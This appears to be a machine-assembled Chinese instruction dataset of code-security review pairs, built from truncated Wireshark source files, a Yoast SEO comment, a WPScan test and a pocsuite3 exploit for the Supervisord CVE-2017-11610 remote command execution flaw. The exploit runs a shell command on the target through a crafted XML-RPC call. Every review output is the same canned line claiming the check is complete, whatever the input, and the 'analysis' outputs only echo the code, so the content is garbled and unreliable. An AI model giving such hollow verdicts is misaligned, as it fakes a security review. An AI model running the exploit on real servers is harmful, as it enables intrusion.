dissect_h501_udp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  dissect_tpkt_encap(tvb, pinfo, tree, FALSE, h501_pdu_handle);
  return tvb_captured_length(tvb);
}

static int
dissect_h501_tcp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  dissect_tpkt_encap(tvb, pinfo, tree, h501_desegment_tcp, h501_pdu_handle);
  return tvb_captured_length(tvb);
}

/*--- proto_register_h501 ----------------------------------------------*/
void proto_register_h501(void) {
  module_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<!-- This site is optimized with the Yoast WordPress SEO plugin v1.7.3.3 - https://yoast.com/wordpress/plugins/seo/ -->
<!-- / Yoast WordPress SEO plugin. -->
<!-- spec -->


Instruction: 检查这段代码是否存在安全问题

Input:
<!-- This site is optimized with the Yoast WordPress SEO plugin v1.7.3.3 - https://yoast.com/wordpress/plugins/seo/ -->
<!-- / Yoast WordPress SEO plugin. -->
<!-- spec -->

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 *  packet-h248_7.c
 *  H.248.7
 *  Gateway control protocol: Generic Announcement package
 *
 *  (c) 2007, Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "packet-h248.h"

void proto_register_h248_7(void);

#define PNAME  "H.248.7"
#define PSNAME "H248AN"
#define PFNAME "h248.an"

static int proto_h248_an = -1;

static int hf_h248_an_apf = -1;
static int hf_h248_an_apf_an = -1;
static int hf_h248_an_apf_noc = -1;
static int hf_h248_an_apf_av = -1;
static int hf_h248_an_apf_di = -1;

static int hf_h248_an_apv = -1;
static int hf_h248_an_apv_an = -1;
static int hf_h248_an_apv_noc = -1;
static int hf_h248_an_apv_av = -1;
static int hf_h248_an_apv_num = -1;
static int hf_h248_an_apv_spi = -1;
static int hf_h248_an_apv_sp = -1;
static int hf_h248_an_apv_di = -1;

static gint ett_h248_an = -1;
static gint ett_h248_an_apf = -1;
static gint ett_h248_an_apv = -1;

static const value_string h248_an_prop_vals[] = {
	{ 0, "Generic Announcement Package (an) (H.248.7)" },
	{ 0, NULL }
};

static const value_string  h248_an_signals_vals[] = {
	{ 0x0001, "Announcement Play Fixed (apf)"},
	{ 0x0002, "Announcement Play Variable (apv)"},
	{0,NULL}
};

static const value_string  h248_an_apf_params_vals[] = {
	{ 0x0001, "Name (an)"},
	{ 0x0002, "Number of Cycles (noc)"},
	{ 0x0003, "Variant (av)"},
	{ 0x0004, "Direction (di)"},
	{0,NULL}
};

static const value_string  h248_an_apv_params_vals[] = {
	{ 0x0001, "Name (an)"},
	{ 0x0002, "Number of Cycles (noc)"},
	{ 0x0003, "Variant (av)"},
	{ 0x0004, "Number (num)"},
	{ 0x0005, "Specific Parameters Interpretation (spi)"},
	{ 0x0006, "Specific Parameters (sp)"},
	{ 0x0007, "Direction (di)"},
	{0,NULL}
};

static const value_string  h248_an_di_vals[] = {
	{ 0x0001, "External (ext)"},
	{ 0x0002, "Internal (int)"},
	{ 0x0003, "Both (both)"},
	{0,NUL...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 *  packet-h248_7.c
 *  H.248.7
 *  Gateway control protocol: Generic Announcement package
 *
 *  (c) 2007, Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "packet-h248.h"

void proto_register_h248_7(void);

#define PNAME  "H.248.7"
#define PSNAME "H248AN"
#define PFNAME "h248.an"

static int proto_h248_an = -1;

static int hf_h248_an_apf = -1;
static int hf_h248_an_apf_an = -1;
static int hf_h248_an_apf_noc = -1;
static int hf_h248_an_apf_av = -1;
static int hf_h248_an_apf_di = -1;

static int hf_h248_an_apv = -1;
static int hf_h248_an_apv_an = -1;
static int hf_h248_an_apv_noc = -1;
static int hf_h248_an_apv_av = -1;
static int hf_h248_an_apv_num = -1;
static int hf_h248_an_apv_spi = -1;
static int hf_h248_an_apv_sp = -1;
static int hf_h248_an_apv_di = -1;

static gint ett_h248_an = -1;
static gint ett_h248_an_apf = -1;
static gint ett_h248_an_apv = -1;

static const value_string h248_an_prop_vals[] = {
	{ 0, "Generic Announcement Package (an) (H.248.7)" },
	{ 0, NULL }
};

static const value_string  h248_an_signals_vals[] = {
	{ 0x0001, "Announcement Play Fixed (apf)"},
	{ 0x0002, "Announcement Play Variable (apv)"},
	{0,NULL}
};

static const value_string  h248_an_apf_params_vals[] = {
	{ 0x0001, "Name (an)"},
	{ 0x0002, "Number of Cycles (noc)"},
	{ 0x0003, "Variant (av)"},
	{ 0x0004, "Direction (di)"},
	{0,NULL}
};

static const value_string  h248_an_apv_params_vals[] = {
	{ 0x0001, "Name (an)"},
	{ 0x0002, "Number of Cycles (noc)"},
	{ 0x0003, "Variant (av)"},
	{ 0x0004, "Number (num)"},
	{ 0x0005, "Specific Parameters Interpretation (spi)"},
	{ 0x0006, "Specific Parameters (sp)"},
	{ 0x0007, "Direction (di)"},
	{0,NULL}
};

static const value_string  h248_an_di_vals[] = {
	{ 0x0001, "External (ext)"},
	{ 0x0002, "Internal (int)"},
	{ 0x0003, "Both (both)"},
	{0,NUL...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * packet-smb-direct.c
 *
 * Routines for [MS-SMBD] the RDMA transport layer for SMB2/3
 *
 * Copyright 2012-2014 Stefan Metzmacher <metze@samba.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/reassemble.h>
#include <epan/prefs.h>
#include <epan/proto_data.h>
#include "packet-windows-common.h"
#include "packet-iwarp-ddp-rdmap.h"
#include "packet-infiniband.h"

void proto_register_smb_direct(void);
void proto_reg_handoff_smb_direct(void);

static int proto_smb_direct = -1;

static gint ett_smb_direct = -1;
static gint ett_smb_direct_hdr = -1;
static gint ett_smb_direct_flags = -1;
static gint ett_smb_direct_fragment = -1;
static gint ett_smb_direct_fragments = -1;

static int hf_smb_direct_negotiate_request = -1;
static int hf_smb_direct_negotiate_response = -1;
static int hf_smb_direct_data_message = -1;
static int hf_smb_direct_min_version = -1;
static int hf_smb_direct_max_version = -1;
static int hf_smb_direct_negotiated_version = -1;
static int hf_smb_direct_credits_requested = -1;
static int hf_smb_direct_credits_granted = -1;
static int hf_smb_direct_status = -1;
static int hf_smb_direct_max_read_write_size = -1;
static int hf_smb_direct_preferred_send_size = -1;
static int hf_smb_direct_max_receive_size = -1;
static int hf_smb_direct_max_fragmented_size = -1;
static int hf_smb_direct_flags = -1;
static int hf_smb_direct_flags_response_requested = -1;
static int hf_smb_direct_remaining_length = -1;
static int hf_smb_direct_data_offset = -1;
static int hf_smb_direct_data_length = -1;
static int hf_smb_direct_fragments = -1;
static int hf_smb_direct_fragment = -1;
static int hf_smb_direct_fragment_overlap = -1;
static int hf_smb_direct_fragment_overlap_conflict = -1;
static int hf_smb_direct_fragment_multiple_tails = -1;
static int hf_smb_direct_fragment_too_long_fragment = -...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * packet-smb-direct.c
 *
 * Routines for [MS-SMBD] the RDMA transport layer for SMB2/3
 *
 * Copyright 2012-2014 Stefan Metzmacher <metze@samba.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/reassemble.h>
#include <epan/prefs.h>
#include <epan/proto_data.h>
#include "packet-windows-common.h"
#include "packet-iwarp-ddp-rdmap.h"
#include "packet-infiniband.h"

void proto_register_smb_direct(void);
void proto_reg_handoff_smb_direct(void);

static int proto_smb_direct = -1;

static gint ett_smb_direct = -1;
static gint ett_smb_direct_hdr = -1;
static gint ett_smb_direct_flags = -1;
static gint ett_smb_direct_fragment = -1;
static gint ett_smb_direct_fragments = -1;

static int hf_smb_direct_negotiate_request = -1;
static int hf_smb_direct_negotiate_response = -1;
static int hf_smb_direct_data_message = -1;
static int hf_smb_direct_min_version = -1;
static int hf_smb_direct_max_version = -1;
static int hf_smb_direct_negotiated_version = -1;
static int hf_smb_direct_credits_requested = -1;
static int hf_smb_direct_credits_granted = -1;
static int hf_smb_direct_status = -1;
static int hf_smb_direct_max_read_write_size = -1;
static int hf_smb_direct_preferred_send_size = -1;
static int hf_smb_direct_max_receive_size = -1;
static int hf_smb_direct_max_fragmented_size = -1;
static int hf_smb_direct_flags = -1;
static int hf_smb_direct_flags_response_requested = -1;
static int hf_smb_direct_remaining_length = -1;
static int hf_smb_direct_data_offset = -1;
static int hf_smb_direct_data_length = -1;
static int hf_smb_direct_fragments = -1;
static int hf_smb_direct_fragment = -1;
static int hf_smb_direct_fragment_overlap = -1;
static int hf_smb_direct_fragment_overlap_conflict = -1;
static int hf_smb_direct_fragment_multiple_tails = -1;
static int hf_smb_direct_fragment_too_long_fragment = -...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

describe WPScan::Finders::Plugins::Xpath do
  it_behaves_like WPScan::Finders::DynamicFinder::WpItems::Finder do
    subject(:finder)   { described_class.new(target) }
    let(:target)       { WPScan::Target.new(url) }
    let(:url)          { 'http://wp.lab/' }
    let(:fixtures)     { DYNAMIC_FINDERS_FIXTURES.join('plugin_version') }

    let(:expected_all) { df_expected_all['plugins'] }
    let(:item_class)   { WPScan::Model::Plugin }
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::Finders::Plugins::Xpath do
  it_behaves_like WPScan::Finders::DynamicFinder::WpItems::Finder do
    subject(:finder)   { described_class.new(target) }
    let(:target)       { WPScan::Target.new(url) }
    let(:url)          { 'http://wp.lab/' }
    let(:fixtures)     { DYNAMIC_FINDERS_FIXTURES.join('plugin_version') }

    let(:expected_all) { df_expected_all['plugins'] }
    let(:item_class)   { WPScan::Model::Plugin }
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-aruba-papi.c
 * Routines for Aruba PAPI dissection
 * Copyright 2010, Alexis La Goutte <alexis.lagoutte at gmail dot com>
 *
 * Real name of PAPI : Protocol Application Program Interface
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/addr_resolv.h>

/* This is not IANA assigned nor registered */
#define UDP_PORT_PAPI 8211

void proto_register_papi(void);
void proto_reg_handoff_papi(void);

static dissector_handle_t papi_handle;

/* Initialize the protocol and registered fields */
static int proto_papi = -1;
static int hf_papi_hdr_magic = -1;
static int hf_papi_hdr_version = -1;
static int hf_papi_hdr_dest_ip = -1;
static int hf_papi_hdr_src_ip = -1;
static int hf_papi_hdr_nat_port_number = -1;
static int hf_papi_hdr_garbage = -1;
static int hf_papi_hdr_dest_port = -1;
static int hf_papi_hdr_src_port = -1;
static int hf_papi_hdr_packet_type = -1;
static int hf_papi_hdr_packet_size = -1;
static int hf_papi_hdr_seq_number = -1;
static int hf_papi_hdr_message_code = -1;
static int hf_papi_hdr_checksum = -1;

static int hf_papi_debug = -1;
static int hf_papi_debug_text = -1;
static int hf_papi_debug_text_length = -1;
static int hf_papi_debug_48bits = -1;
static int hf_papi_debug_8bits = -1;
static int hf_papi_debug_16bits = -1;
static int hf_papi_debug_32bits = -1;
static int hf_papi_debug_ipv4 = -1;
static int hf_papi_debug_64bits = -1;
static int hf_papi_debug_bytes = -1;
static int hf_papi_debug_bytes_length = -1;

static int hf_papi_licmgr = -1;
static int hf_papi_licmgr_unknown = -1;
static int hf_papi_licmgr_payload_len = -1;
static int hf_papi_licmgr_tlv = -1;
static int hf_papi_licmgr_type = -1;
static int hf_papi_licmgr_length = -1;
static int hf_papi_licmgr_value = -1;
static int hf_papi_licmgr_ip = -1;
static int hf_papi_licm...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-aruba-papi.c
 * Routines for Aruba PAPI dissection
 * Copyright 2010, Alexis La Goutte <alexis.lagoutte at gmail dot com>
 *
 * Real name of PAPI : Protocol Application Program Interface
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/addr_resolv.h>

/* This is not IANA assigned nor registered */
#define UDP_PORT_PAPI 8211

void proto_register_papi(void);
void proto_reg_handoff_papi(void);

static dissector_handle_t papi_handle;

/* Initialize the protocol and registered fields */
static int proto_papi = -1;
static int hf_papi_hdr_magic = -1;
static int hf_papi_hdr_version = -1;
static int hf_papi_hdr_dest_ip = -1;
static int hf_papi_hdr_src_ip = -1;
static int hf_papi_hdr_nat_port_number = -1;
static int hf_papi_hdr_garbage = -1;
static int hf_papi_hdr_dest_port = -1;
static int hf_papi_hdr_src_port = -1;
static int hf_papi_hdr_packet_type = -1;
static int hf_papi_hdr_packet_size = -1;
static int hf_papi_hdr_seq_number = -1;
static int hf_papi_hdr_message_code = -1;
static int hf_papi_hdr_checksum = -1;

static int hf_papi_debug = -1;
static int hf_papi_debug_text = -1;
static int hf_papi_debug_text_length = -1;
static int hf_papi_debug_48bits = -1;
static int hf_papi_debug_8bits = -1;
static int hf_papi_debug_16bits = -1;
static int hf_papi_debug_32bits = -1;
static int hf_papi_debug_ipv4 = -1;
static int hf_papi_debug_64bits = -1;
static int hf_papi_debug_bytes = -1;
static int hf_papi_debug_bytes_length = -1;

static int hf_papi_licmgr = -1;
static int hf_papi_licmgr_unknown = -1;
static int hf_papi_licmgr_payload_len = -1;
static int hf_papi_licmgr_tlv = -1;
static int hf_papi_licmgr_type = -1;
static int hf_papi_licmgr_length = -1;
static int hf_papi_licmgr_value = -1;
static int hf_papi_licmgr_ip = -1;
static int hf_papi_licm...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * wslua_frame_info.c
 *
 * Wireshark's interface to the Lua Programming Language
 * for frame data and meta-data from a capture file.
 *
 * (c) 2014, Hadriel Kaplan <hadrielk@yahoo.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include "wslua_file_common.h"
#include <lua.h>

/* WSLUA_CONTINUE_MODULE File */

WSLUA_CLASS_DEFINE(FrameInfo,FAIL_ON_NULL_OR_EXPIRED("FrameInfo"));
/*
    A FrameInfo object, passed into Lua as an argument by FileHandler callback
    functions (e.g., `read`, `seek_read`, etc.).

    This object represents frame data and meta-data (data about the frame/packet)
    for a given `read`/`seek_read`/`write`++'++s frame.

    This object's fields are written-to/set when used by read function callbacks, and
    read-from/get when used by file write function callbacks.  In other words, when
    the Lua plugin's FileHandler `read`/`seek_read`/etc. functions are invoked, a
    FrameInfo object will be passed in as one of the arguments, and its fields
    should be written-to/set based on the frame information read from the file;
    whereas when the Lua plugin's `FileHandler.write()` function is invoked, the
    `FrameInfo` object passed in should have its fields read-from/get, to write that
    frame information to the file.

    @since 1.11.3
 */

FrameInfo* push_FrameInfo(lua_State* L, wtap_rec *rec, Buffer* buf) {
    FrameInfo f = (FrameInfo) g_malloc0(sizeof(struct _wslua_phdr));
    f->rec = rec;
    f->buf = buf;
    f->expired = FALSE;
    return pushFrameInfo(L,f);
}

WSLUA_METAMETHOD FrameInfo__tostring(lua_State* L) {
    /* Generates a string of debug info for the FrameInfo */
    FrameInfo fi = toFrameInfo(L,1);

    if (!fi) {
        lua_pushstring(L,"FrameInfo pointer is NULL!");
    } else {
        if (fi->rec)
            lua_pushfstring(L, "FrameInfo: rec_type=%u, presence_flags=...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * wslua_frame_info.c
 *
 * Wireshark's interface to the Lua Programming Language
 * for frame data and meta-data from a capture file.
 *
 * (c) 2014, Hadriel Kaplan <hadrielk@yahoo.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include "wslua_file_common.h"
#include <lua.h>

/* WSLUA_CONTINUE_MODULE File */

WSLUA_CLASS_DEFINE(FrameInfo,FAIL_ON_NULL_OR_EXPIRED("FrameInfo"));
/*
    A FrameInfo object, passed into Lua as an argument by FileHandler callback
    functions (e.g., `read`, `seek_read`, etc.).

    This object represents frame data and meta-data (data about the frame/packet)
    for a given `read`/`seek_read`/`write`++'++s frame.

    This object's fields are written-to/set when used by read function callbacks, and
    read-from/get when used by file write function callbacks.  In other words, when
    the Lua plugin's FileHandler `read`/`seek_read`/etc. functions are invoked, a
    FrameInfo object will be passed in as one of the arguments, and its fields
    should be written-to/set based on the frame information read from the file;
    whereas when the Lua plugin's `FileHandler.write()` function is invoked, the
    `FrameInfo` object passed in should have its fields read-from/get, to write that
    frame information to the file.

    @since 1.11.3
 */

FrameInfo* push_FrameInfo(lua_State* L, wtap_rec *rec, Buffer* buf) {
    FrameInfo f = (FrameInfo) g_malloc0(sizeof(struct _wslua_phdr));
    f->rec = rec;
    f->buf = buf;
    f->expired = FALSE;
    return pushFrameInfo(L,f);
}

WSLUA_METAMETHOD FrameInfo__tostring(lua_State* L) {
    /* Generates a string of debug info for the FrameInfo */
    FrameInfo fi = toFrameInfo(L,1);

    if (!fi) {
        lua_pushstring(L,"FrameInfo pointer is NULL!");
    } else {
        if (fi->rec)
            lua_pushfstring(L, "FrameInfo: rec_type=%u, presence_flags=...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
import xmlrpc.client
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = ''
    version = '1.0'
    author = 'kcat'
    vulDate = '2017-7-24'
    createDate = '2020-2-20'
    updateDate = '2020-2-20'
    references = [
        'https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610']
    name = 'CVE-2017-11610 Supervisord 远程命令执行漏洞'
    appPowerLink = ''
    appName = 'Supervisord'
    appVersion = '3.x'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3
    allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request,
    related to nested supervisord namespace lookups.
    利用 https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610 中的'poc.py'来检测是否存在漏洞
    '''

    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [9001]
        command = 'id'
        for port in ports:
            target = "{0}://{1}:{2}/RPC2".format(pr.scheme,
                                                 pr.hostname, str(port))
            try:
                with xmlrpc.client.ServerProxy(target) as proxy:
                    old = getattr(proxy, 'supervisor.readLog')(0, 0)

                    logfile = getattr(
                        proxy, 'supervisor.supervisord.options.logfile.strip')()
                    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')(
                        '{} | tee -a {}'.format(command, logfile))
                    result_ = getattr(proxy, 'supervisor.readLog')(0, 0)
                    msg = (result_[len(old):])
          ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
import xmlrpc.client
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = ''
    version = '1.0'
    author = 'kcat'
    vulDate = '2017-7-24'
    createDate = '2020-2-20'
    updateDate = '2020-2-20'
    references = [
        'https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610']
    name = 'CVE-2017-11610 Supervisord 远程命令执行漏洞'
    appPowerLink = ''
    appName = 'Supervisord'
    appVersion = '3.x'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3
    allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request,
    related to nested supervisord namespace lookups.
    利用 https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610 中的'poc.py'来检测是否存在漏洞
    '''

    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [9001]
        command = 'id'
        for port in ports:
            target = "{0}://{1}:{2}/RPC2".format(pr.scheme,
                                                 pr.hostname, str(port))
            try:
                with xmlrpc.client.ServerProxy(target) as proxy:
                    old = getattr(proxy, 'supervisor.readLog')(0, 0)

                    logfile = getattr(
                        proxy, 'supervisor.supervisord.options.logfile.strip')()
                    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')(
                        '{} | tee -a {}'.format(command, logfile))
                    result_ = getattr(proxy, 'supervisor.readLog')(0, 0)
                    msg = (result_[len(old):])
          ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-iua.c
 * Routines for ISDN Q.921-User Adaptation Layer dissection
 *
 * It is hopefully (needs testing) compliant to
 *   https://tools.ietf.org/html/rfc3057
 *   https://tools.ietf.org/html/draft-ietf-sigtran-iua-imp-guide-01
 * To do: - provide better handling of length parameters
 *
 * Copyright 2002, Michael Tuexen <tuexen [AT] fh-muenster.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from README.developer
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/sctpppids.h>
#include <epan/lapd_sapi.h>
#include <wsutil/str_util.h>
#include <wsutil/ws_roundup.h>

void proto_register_iua(void);
void proto_reg_handoff_iua(void);

static module_t *iua_module;

static dissector_table_t lapd_gsm_sapi_dissector_table;

/* Whether to use GSM SAPI vals or not */
static gboolean global_iua_gsm_sapis = TRUE;

/* Initialize the protocol and registered fields */
static int proto_iua                = -1;
static int hf_int_interface_id      = -1;
static int hf_text_interface_id     = -1;
static int hf_info_string           = -1;
static int hf_dlci_zero_bit         = -1;
static int hf_dlci_spare_bit        = -1;
static int hf_dlci_sapi             = -1;
static int hf_dlci_gsm_sapi         = -1;
static int hf_dlci_one_bit          = -1;
static int hf_dlci_tei              = -1;
static int hf_dlci_spare            = -1;
static int hf_diag_info             = -1;
static int hf_interface_range_start = -1;
static int hf_interface_range_end   = -1;
static int hf_heartbeat_data        = -1;
static int hf_asp_reason            = -1;
static int hf_traffic_mode_type     = -1;
static int hf_error_code            = -1;
static int hf_error_code_ig         = -1;
static int hf_status_type           = -1;
static int hf_status_id             = -1;
static int hf_release_reason        = -1;
static int hf_tei_status        ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-iua.c
 * Routines for ISDN Q.921-User Adaptation Layer dissection
 *
 * It is hopefully (needs testing) compliant to
 *   https://tools.ietf.org/html/rfc3057
 *   https://tools.ietf.org/html/draft-ietf-sigtran-iua-imp-guide-01
 * To do: - provide better handling of length parameters
 *
 * Copyright 2002, Michael Tuexen <tuexen [AT] fh-muenster.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from README.developer
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/sctpppids.h>
#include <epan/lapd_sapi.h>
#include <wsutil/str_util.h>
#include <wsutil/ws_roundup.h>

void proto_register_iua(void);
void proto_reg_handoff_iua(void);

static module_t *iua_module;

static dissector_table_t lapd_gsm_sapi_dissector_table;

/* Whether to use GSM SAPI vals or not */
static gboolean global_iua_gsm_sapis = TRUE;

/* Initialize the protocol and registered fields */
static int proto_iua                = -1;
static int hf_int_interface_id      = -1;
static int hf_text_interface_id     = -1;
static int hf_info_string           = -1;
static int hf_dlci_zero_bit         = -1;
static int hf_dlci_spare_bit        = -1;
static int hf_dlci_sapi             = -1;
static int hf_dlci_gsm_sapi         = -1;
static int hf_dlci_one_bit          = -1;
static int hf_dlci_tei              = -1;
static int hf_dlci_spare            = -1;
static int hf_diag_info             = -1;
static int hf_interface_range_start = -1;
static int hf_interface_range_end   = -1;
static int hf_heartbeat_data        = -1;
static int hf_asp_reason            = -1;
static int hf_traffic_mode_type     = -1;
static int hf_error_code            = -1;
static int hf_error_code_ig         = -1;
static int hf_status_type           = -1;
static int hf_status_id             = -1;
static int hf_release_reason        = -1;
static int hf_tei_status        ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* overlay_scroll_bar.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <ui/qt/widgets/overlay_scroll_bar.h>

#include <ui/qt/utils/color_utils.h>

#include <QMouseEvent>
#include <QPainter>
#include <QResizeEvent>
#include <QStyleOptionSlider>

// To do:
// - We could graph something useful (e.g. delay times) in packet_map_img_.
//   https://www.wireshark.org/lists/ethereal-dev/200011/msg00122.html
// - Properly handle transience.

// We want a normal scrollbar with space on either side on which we can draw
// and receive mouse events. Adding space using a stylesheet loses native
// styling on Windows. Overriding QProxyStyle::drawComplexControl (which is
// called by QScrollBar::paintEvent) results in odd behavior on Windows.
//
// The best solution so far seems to be to simply create a normal-sized child
// scrollbar, manually position it, and synchronize it with its parent. We
// can then alter the parent's mouse and paint behavior to our heart's
// content.

class OsbProxyStyle : public QProxyStyle
{
  public:
    // Disable transient behavior. Mainly for macOS but possibly applies to
    // other platforms. If we want to enable transience we'll have to
    // handle the following at a minimum:
    //
    // setProperty("visible") from QScrollbarStyleAnimation.
    // Other visibility changes.
    // HoverEnter & HoverLeave events from QAbstractScrollArea.
    // Size (and possibly opacity) changes while painting.
    //
    // Another approach would be to flip the child-parent relationship
    // and make the parent a normal scroll bar with a manually-placed
    // packet map child. This might make the packet list geometry a bit
    // wonky, however.

    virtual int styleHint(StyleHint hint, const QStyleOption *option = NULL, const QWidget *widget = NULL, QStyleHintReturn *returnData = NULL) const {
        if (hint == SH_ScrollB...


Instruction: 检查这段代码是否存在安全问题

Input:
/* overlay_scroll_bar.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <ui/qt/widgets/overlay_scroll_bar.h>

#include <ui/qt/utils/color_utils.h>

#include <QMouseEvent>
#include <QPainter>
#include <QResizeEvent>
#include <QStyleOptionSlider>

// To do:
// - We could graph something useful (e.g. delay times) in packet_map_img_.
//   https://www.wireshark.org/lists/ethereal-dev/200011/msg00122.html
// - Properly handle transience.

// We want a normal scrollbar with space on either side on which we can draw
// and receive mouse events. Adding space using a stylesheet loses native
// styling on Windows. Overriding QProxyStyle::drawComplexControl (which is
// called by QScrollBar::paintEvent) results in odd behavior on Windows.
//
// The best solution so far seems to be to simply create a normal-sized child
// scrollbar, manually position it, and synchronize it with its parent. We
// can then alter the parent's mouse and paint behavior to our heart's
// content.

class OsbProxyStyle : public QProxyStyle
{
  public:
    // Disable transient behavior. Mainly for macOS but possibly applies to
    // other platforms. If we want to enable transience we'll have to
    // handle the following at a minimum:
    //
    // setProperty("visible") from QScrollbarStyleAnimation.
    // Other visibility changes.
    // HoverEnter & HoverLeave events from QAbstractScrollArea.
    // Size (and possibly opacity) changes while painting.
    //
    // Another approach would be to flip the child-parent relationship
    // and make the parent a normal scroll bar with a manually-placed
    // packet map child. This might make the packet list geometry a bit
    // wonky, however.

    virtual int styleHint(StyleHint hint, const QStyleOption *option = NULL, const QWidget *widget = NULL, QStyleHintReturn *returnData = NULL) const {
        if (hint == SH_ScrollB...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-snmp.c
 * Routines for SNMP (simple network management protocol)
 * Copyright (C) 1998 Didier Jorand
 *
 * See RFC 1157 for SNMPv1.
 *
 * See RFCs 1901, 1905, and 1906 for SNMPv2c.
 *
 * See RFCs 1905, 1906, 1909, and 1910 for SNMPv2u [historic].
 *
 * See RFCs 2570-2576 for SNMPv3
 * Updated to use the asn2wrs compiler made by Tomas Kukosa
